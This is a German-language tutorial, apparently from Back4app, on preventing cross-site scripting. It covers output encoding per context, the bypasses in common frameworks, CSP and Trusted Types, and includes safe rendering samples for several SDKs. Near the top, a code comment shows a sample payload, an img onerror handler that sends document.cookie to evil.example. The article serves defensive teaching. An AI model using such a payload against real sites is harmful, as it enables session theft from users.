Cross-Site Scripting ist ein Angriff, der Schadskripte in vertrauenswürdige Seiten einschleust; Prävention heißt, die Ausgabe pro Kontext zu encodieren. Der Browser wird zum Opfer seines eigenen Vertrauens: Ein Skript, das innerhalb einer Seite von einem legitimen Origin eintrifft, läuft mit allen Rechten dieser Seite – Session, Speicher, jede Aktion, die der Benutzer ausführen darf. Drei Jahrzehnte später führt CWE-79 noch immer die Ranglisten der gefährlichsten Schwachstellen an, weil die Ursache Template für Template committet wird: nicht vertrauenswürdige Eingabe, die ohne Encoding die Ausgabe erreicht.
Das Wichtigste in Kürze
| Frage | Antwort |
|---|---|
| Die drei Typen | Stored (in der DB) · Reflected (in der URL) · DOM-based (im Client-JS) |
| Die Hauptverteidigung | Kontextabhängiges Output-Encoding – beim Rendern, pro Ziel |
| Die Regel, die alle umdrehen | Validieren für Korrektheit; encodieren für Sicherheit – Validierung allein schafft es nicht |
| Frameworks | Escapen standardmäßig – bis zur Hintertür (v-html, dangerouslySetInnerHTML) |
| Die Sicherheitsnetze | Strikte CSP · Trusted Types · HttpOnly-Cookies – Abschwächung, keine Korrektur |
Eine verwundbare Zeile
// Der Fehler – Benutzerdaten treffen auf einen HTML-Sink
commentEl.innerHTML = comment.text;
// Payload, den irgendwann jemand einreichen wird:
// <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
// Der Browser jedes Lesers führt ihn aus, mit der Session des Lesers.
// Die Korrektur – dieselben Daten, Textkontext
commentEl.textContent = comment.text; // Markup wird angezeigt; ausgeführt wird es nie
Die Disziplin hinter dieser Korrektur – roh speichern, sicher darstellen – quer durch den Stack:
// JavaScript / Node.js — Back4app JS SDK + browser
// Store RAW, render SAFE — encoding happens at output, not at save
const comment = new Parse.Object('Comment');
comment.set('text', userInput); // saved as-is: O'Brien, 1 < 2, all fine
await comment.save();
// Rendering: textContent treats it as text — markup never executes
commentEl.textContent = comment.get('text'); // safe by construction
// commentEl.innerHTML = comment.get('text'); // ← the XSS sink // Flutter / Dart — Back4app Flutter SDK
// Store RAW, render SAFE — Flutter's Text() treats data as text, not markup
final comment = ParseObject('Comment')..set('text', userInput);
await comment.save(); // saved as-is — no encoding at write time
// Text() cannot execute markup — XSS needs an HTML context to exist
Text(comment.get<String>('text') ?? '');
// Danger returns with WebViews: never loadHtmlString() raw user content // iOS / Swift — Back4app Swift SDK
// Store RAW, render SAFE — UILabel treats data as text, not markup
var comment = Comment()
comment.text = userInput
try await comment.save() // saved as-is — no encoding at write time
label.text = comment.text // safe: text, not HTML
// Danger returns with WKWebView: never loadHTMLString() raw user content // Android / Kotlin — Back4app Android SDK
// Store RAW, render SAFE — TextView treats data as text, not markup
val comment = ParseObject("Comment")
comment.put("text", userInput)
comment.save() // saved as-is — no encoding at write time
textView.text = comment.getString("text") // safe: text, not HTML
// Danger returns with WebViews: never loadData() with raw user content Stored vs. Reflected vs. DOM-based XSS
| Stored (persistent) | Reflected | DOM-based | |
|---|---|---|---|
| Payload liegt | In Ihrer Datenbank | In einer präparierten URL | Im clientseitigen Datenfluss |
| Opfer | Jeder, der die Seite aufruft | Jeder, der den Link anklickt | Jeder, der diesen Seitenzustand erreicht |
| Server sieht ihn | Ja – beim Schreiben | Ja – pro Anfrage gespiegelt | Oft nie |
| Klassischer Vektor | Kommentare, Profile, Nachrichten | Suchtreffer-Echos, Fehlerseiten | location.hash → innerHTML |
| Konsens zur Schwere | Der gefährlichste | Gezielt, vom Link abhängig | Unsichtbar für Serverlogs und WAFs |
Die Hauptverteidigung: kontextabhängiges Output-Encoding
Die maßgebliche Regel, offen ausgesprochen, weil die üblichen Quellen sie vergraben: Dieselbe Zeichenkette ist an einer Stelle harmlos und an einer anderen tödlich – deshalb geschieht das Encoding bei der Ausgabe, pro Ziel, und deshalb scheitert Eingabevalidierung für sich allein immer: Zum Zeitpunkt der Eingabe kennen Sie den Kontext nicht, Blocklists verlieren gegen Encoding-Tricks, und legitime Daten (O'Brien, 1 < 2) zerbrechen unter Validierung-als-Sicherheitsmaßnahme.
| Ausgabekontext | Encoding | Der übliche Fehler |
|---|---|---|
| HTML-Body | & < > " ' als Entities codieren | Dem “ist doch nur Text” glauben |
| HTML-Attribut | Entities + das Attribut immer quoten | Ungequotete Attribute – Leerzeichen brechen aus |
| JavaScript-String | \uXXXX-Escaping, über einen Serializer | Benutzerdaten in Inline-JS konkatenieren |
| URL / href | Percent-Encoding + Schema validieren | javascript:-URLs passieren HTML-Encoding anstandslos |
| CSS-Wert | Strikte Allowlists, nur Eigenschaftswerte | Vom Benutzer kontrollierte Style-Blöcke |
| JSON in einer Seite | JSON serialisieren + </script> escapen | Hydration-Blobs window.__STATE__ = … |
Wenn Benutzer legitim HTML verfassen – Rich Text, Markdown –, würde Encoding es zerstören; das ist die eine Aufgabe des Sanitizings: Eine gepflegte Bibliothek (DOMPurify) entfernt ausführbare Konstrukte, und die Ausgabe muss unverändert verwendet werden – wer eine sanitizte Zeichenkette nachbearbeitet, hebt das Sanitizing auf.
Frameworks: standardmäßig escapt, unsicher durch die Hintertür
Moderne Frameworks haben das Gros des klassischen XSS erledigt – interpolierte Werte werden automatisch escapt. Zwei Klauseln im Kleingedruckten halten den Fehler am Leben. Erstens: Jedes Framework liefert einen Bypass mit, und jeder davon ist ein Grep-Ziel im Code-Review:
| Framework | Escapt standardmäßig | Die Hintertür |
|---|---|---|
| React | JSX-Interpolation | dangerouslySetInnerHTML |
| Vue | {{ }}-Templates | v-html |
| Angular | Interpolation + Sanitizer | bypassSecurityTrustHtml und Verwandte |
| Svelte | Template-Ausdrücke | {@html …} |
| Server-Templates | Auto-Escape-Modus | Filter | safe / | raw |
Zweitens: Automatisches Escaping deckt allein den HTML-Body-Kontext ab. Ein href, das an Benutzerdaten gebunden ist, führt weiterhin javascript:-URLs aus, und die Einbettung in Inline-Skripte braucht weiterhin Encoding im JS-Kontext. Die Antwort auf Workflow-Ebene: vor jeder Hintertür sanitizen, bei gebundenen Links das URL-Schema validieren und die Hintertüren linten (react/no-danger und Verwandte), damit die Ausnahmen bewusst bleiben.
Verteidigung in der Tiefe: CSP, Trusted Types, HttpOnly
Die Sicherheitsnetze, ehrlich beschriftet. Eine strikte Content Security Policy blockiert eingeschleuste Inline-Skripte auch dann, wenn ein Fehler in Produktion geht:
Content-Security-Policy:
script-src 'nonce-{random-per-response}' 'strict-dynamic';
object-src 'none'; base-uri 'none'
Nonce-basiert, nicht Allowlist-basiert – Host-Allowlists lassen sich oft genug umgehen, dass das Cheat Sheet der OWASP darauf besteht, die CSP dürfe nicht Ihre Hauptverteidigung sein. Rollen Sie sie zuerst im Report-Only-Modus aus. Trusted Types (require-trusted-types-for 'script') geht gegen DOM-XSS weiter: Gefährliche Sinks wie innerHTML weisen einfache Zeichenketten rundheraus zurück und zwingen alles HTML durch eine einzige, prüfbare Policy. Und HttpOnly-Cookies schützen genau eine Sache – eingeschleuste Skripte können das Session-Cookie nicht lesen –, was zählt, weil Tokens im localStorage nur ein localStorage.getItem von der Exfiltration entfernt sind: Die Empfehlungen zur JWT-Speicherung und dieser Artikel sind dasselbe Argument von zwei Seiten. Keines der drei behebt den Fehler; alle drei verkleinern, was er wert ist.
Der Anteil des Backends
XSS liest sich wie ein Frontend-Problem; ein Teil davon gehört der API. Roh speichern, bei der Ausgabe encodieren – Encoding beim Schreiben verfälscht Daten, führt bei Roundtrips zu doppeltem Encoding und verfehlt trotzdem Kontexte, die Sie nicht vorhergesehen haben. Content-Type-Disziplin: JSON-Antworten deklarieren Content-Type: application/json plus X-Content-Type-Options: nosniff, denn ein zurückgespiegelter Parameter in einer Antwort, die der Browser bereitwillig als HTML sniffed, ist XSS mit zusätzlichen Schritten. Fehlerseiten, die URL oder Parameter zurückspiegeln, sind der klassische Reflected-Sink, den niemand im Code-Review liest. Und die benachbarte Falle, die einen Satz verdient: Benutzereingaben als Template statt als Daten zu rendern, eskaliert über XSS hinaus zu Server-Side Template Injection – eine Benutzereingabe ist Template-Daten, niemals Template-Quelltext.
Typische Anwendungsfälle
Wo diese Abwehrmaßnahmen ihr Geld verdienen:
- Kommentare, Bewertungen, Nachrichten – Stored-XSS-Terrain: beim Rendern encodieren, überall dort, wo sie auftauchen.
- Rich Text und Markdown – der Fall des legitimen HTML: beim Rendern sanitizen, den Sanitizer aktuell halten.
- Suche, Filter, Fehlerseiten – Reflected-Terrain: Alles, was Anfragedaten zurückspiegelt, encodiert sie.
- SPAs, die über den URL-Zustand routen – DOM-Terrain: Fragment- und Query-Daten treffen nie unsanitized auf
innerHTML. - Mobile WebViews – die XSS-Angriffsfläche der nativen App: niemals rohe Benutzerinhalte als HTML laden.
Welche Verteidigung zuerst? Entscheidungsmatrix
| Situation | Das ist zu tun |
|---|---|
| Benutzertext anzeigen | Framework-Interpolation / textContent – nichts Ausgefalleneres |
| Vom Benutzer verfasstes HTML rendern | Mit DOMPurify sanitizen, Ausgabe unverändert verwenden |
| Benutzerdaten in einem Link | Schema-Allowlist validieren (https:), dann encodieren |
| Inline-JSON/-Zustand in Seiten | JSON serialisieren mit skriptsicherem Escaping |
| Eines der obigen in Produktion bringen | Strikte Nonce-CSP in Report-Only, dann erzwingen |
| Bestehenden Code auditieren | Hintertüren und Sinks greppen; linten; Payloads pro Kontext testen |
Grenzen und Trade-offs
- Encoding muss exakt zum Kontext passen. Daten HTML-zu-encodieren, die in eine URL oder einen Skriptblock gebunden werden, ist das Muster der falschen Sicherheit – richtige Verteidigung, falscher Kontext, weiterhin ausnutzbar.
- Sanitizer sind Abhängigkeiten. Bypässe werden veröffentlicht; ein gepinnter, veralteter Sanitizer wird still zu einer Schwachstelle mit Changelog.
- CSP kostet Engineering. Nonces betreffen jedes Script-Tag und jeden Inline-Handler; eine strikte CSP in einer Legacy-Codebasis einzuführen ist ein eigenes Projekt – dafür gibt es den Report-Only-Modus.
- Trusted Types hat Ränder bei der Verbreitung. Es funktioniert erst seit Anfang 2026 über die aktuellen Browser hinweg, ältere ignorieren es; behandeln Sie es als Härtung oberhalb des Encodings, nicht als Garantie.
- WAFs sind nicht die Antwort. Filter mit Mustererkennung fangen bekannte Payloads und verfehlen Encodings und Mutationen; die Empfehlungen der OWASP selbst halten sie gegen XSS für unzuverlässig.
XSS-Prävention mit Back4app
Back4app ist eine Open-Source-Plattform für Backend as a Service (BaaS), die eine verwaltete Datenbank, automatisch generierte REST- und GraphQL-APIs, Authentifizierung, Dateispeicher und Serverless-Funktionen mit Cloud Code kombiniert. Der Anteil des Backends an dieser Disziplin ist eingebaut: Daten werden roh gespeichert und über JSON-APIs mit korrekten Content-Types zurückgegeben – nie serverseitig zu HTML gerendert –, sodass die Verantwortung für das Encoding bei der Ausgabe sauber in Ihrer UI-Schicht liegt, wo die Code-Tabs oben das Muster roh-speichern/sicher-darstellen pro Plattform zeigen. Die Regler für den Schadensradius sind bereits aktiv: Sessions laufen über widerrufbare Tokens statt über langlebige Zugangsdaten im localStorage, und ACLs samt Klassenberechtigungen begrenzen, was ein als Benutzer ausgeführtes Skript überhaupt berühren könnte – ein eingeschleuster Payload erbt die Berechtigungen des Opfers, nicht die Datenbank. Cloud Code ist der richtige Ort für die verbleibende serverseitige Hygiene: URL-Felder gegen Schema-Allowlists validieren und Rich-Text-Felder einmal sanitizen, in beforeSave, damit jeder Client denselben abgesicherten Inhalt darstellt.
Häufige Fragen
Was ist XSS in einfachen Worten?
Ein Angreifer schmuggelt eigenes JavaScript in eine Seite, die andere Menschen aufrufen – über einen Kommentar, einen präparierten Link, ein Profilfeld –, und die Browser der Opfer führen es aus, als hätte die Website selbst es geschrieben. Ab da kann das Skript alles, was das Opfer kann: dessen Daten lesen, in dessen Namen handeln, dessen Session stehlen.
Wie sieht ein XSS-Angriff konkret aus?
Ein Kommentarfeld, das die Ausgabe nicht encodiert: Man reicht ein Script-Tag als Kommentar ein, und es läuft im Browser jedes Lesers. Proof-of-Concept-Payloads öffnen ein alert-Fenster; echte schicken stattdessen das Session-Cookie oder die Tokens des Opfers an den Angreifer.
Was unterscheidet Stored, Reflected und DOM-based XSS?
Der Weg, den der Payload nimmt. Stored XSS liegt in der Datenbank und trifft jeden, der die Seite aufruft. Reflected XSS reist in einer präparierten URL und trifft jeden, der darauf klickt. DOM-based XSS passiert vollständig im clientseitigen JavaScript – Angreiferdaten fließen von einer Quelle wie dem URL-Fragment in einen Sink wie innerHTML, manchmal ohne den Server je zu berühren.
Wie verhindert man XSS?
Der Reihe nach: kontextabhängiges Output-Encoding zum Zeitpunkt des Renderings (die Hauptverteidigung), Eingabevalidierung als unterstützende Schicht, eine Sanitizing-Bibliothek, wenn Benutzer echtes HTML verfassen dürfen, korrekte Content-Type-Header auf den APIs, eine strikte Content Security Policy als Sicherheitsnetz und HttpOnly-Cookies, um zu begrenzen, was ein erfolgreicher Angriff überhaupt stehlen kann.
Output-Encoding, Eingabevalidierung, Sanitizing – was davon?
Drei verschiedene Aufgaben. Encoding wandelt Zeichen bei der Ausgabe um, damit Daten als Text erscheinen statt ausgeführt zu werden – die Hauptverteidigung, gewählt je nach Kontext. Validierung weist fehlerhafte Eingaben bei der Ankunft zurück – nützlich für Korrektheit, unzureichend für Sicherheit, weil die Gefahr davon abhängt, wo die Daten landen. Sanitizing entfernt unsichere Konstrukte aus HTML, das Sie tatsächlich als HTML darstellen wollen.
Stoppt eine Content Security Policy XSS?
Eine strikte, Nonce-basierte CSP blockiert eingeschleuste Inline-Skripte auch dann, wenn ein Fehler existiert – echte Verteidigung in der Tiefe. Aber sie ist das Netz, nicht die Korrektur: Allowlist-basierte Policies lassen sich verbreitet umgehen, und die Empfehlung der OWASP ist eindeutig – die CSP darf nie die Hauptverteidigung sein.
Verhindern React und Vue XSS automatisch?
Weitgehend – die Template-Interpolation escapt Werte automatisch, was ganze Fehlerklassen erledigt hat. Aber jedes Framework liefert Hintertüren mit, die XSS unverändert zurückbringen: dangerouslySetInnerHTML in React, v-html in Vue, Trust-Bypass-APIs in Angular – dazu javascript:-URLs in href-Bindings, die das automatische Escaping nie abgedeckt hat.
Was ist der Unterschied zwischen XSS und CSRF?
Die Reichweite. XSS führt Angreifercode im Browser des Opfers aus – in beide Richtungen: Es kann Antworten lesen und alles tun, was der Benutzer kann. CSRF bringt den Browser nur dazu, gefälschte Anfragen zu senden – in eine Richtung, ohne Lesezugriff und abhängig von einer aktiven Session. XSS ist die schwerere Klasse, und ein XSS-Fehler kann CSRF-Abwehrmaßnahmen aushebeln.